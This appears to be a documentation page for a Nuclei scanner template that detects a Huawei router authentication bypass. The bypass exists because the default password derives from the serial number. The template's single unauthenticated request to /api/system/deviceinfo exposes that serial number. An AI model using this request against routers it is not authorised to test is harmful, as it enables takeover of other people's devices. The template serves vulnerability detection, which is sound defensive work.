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Huawei Router - Authentication Bypass

ID: huawei-router-auth-bypass

Severity: critical

Author: gy741

Tags: auth-bypass,router,edb,huawei

Huawei Routers are vulnerable to authentication bypass because the default password of this router is the last 8 characters of the device’s serial number which exist on the back of the device.

id: huawei-router-auth-bypass
info:
name: Huawei Router - Authentication Bypass
author: gy741
severity: critical
description: Huawei Routers are vulnerable to authentication bypass because the default password of this router is the last 8 characters of the device's serial number which exist on the back of the device.
reference:
- https://www.exploit-db.com/exploits/48310
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-288
metadata:
max-request: 1
tags: auth-bypass,router,edb,huawei
http:
- raw:
- |
GET /api/system/deviceinfo HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
Referer: {{BaseURL}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "DeviceName"
- "SerialNumber"
- "HardwareVersion"
condition: and
# digest: 490a0046304402207be2e4d91393289a4d00d0e4ba2066a524b69fec24a46aee4858847fc99225e40220210000d941cde5e208b36bc590ece87dbb81e933ef9defba4b929f0261a69c95:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/huawei-router-auth-bypass.yaml"

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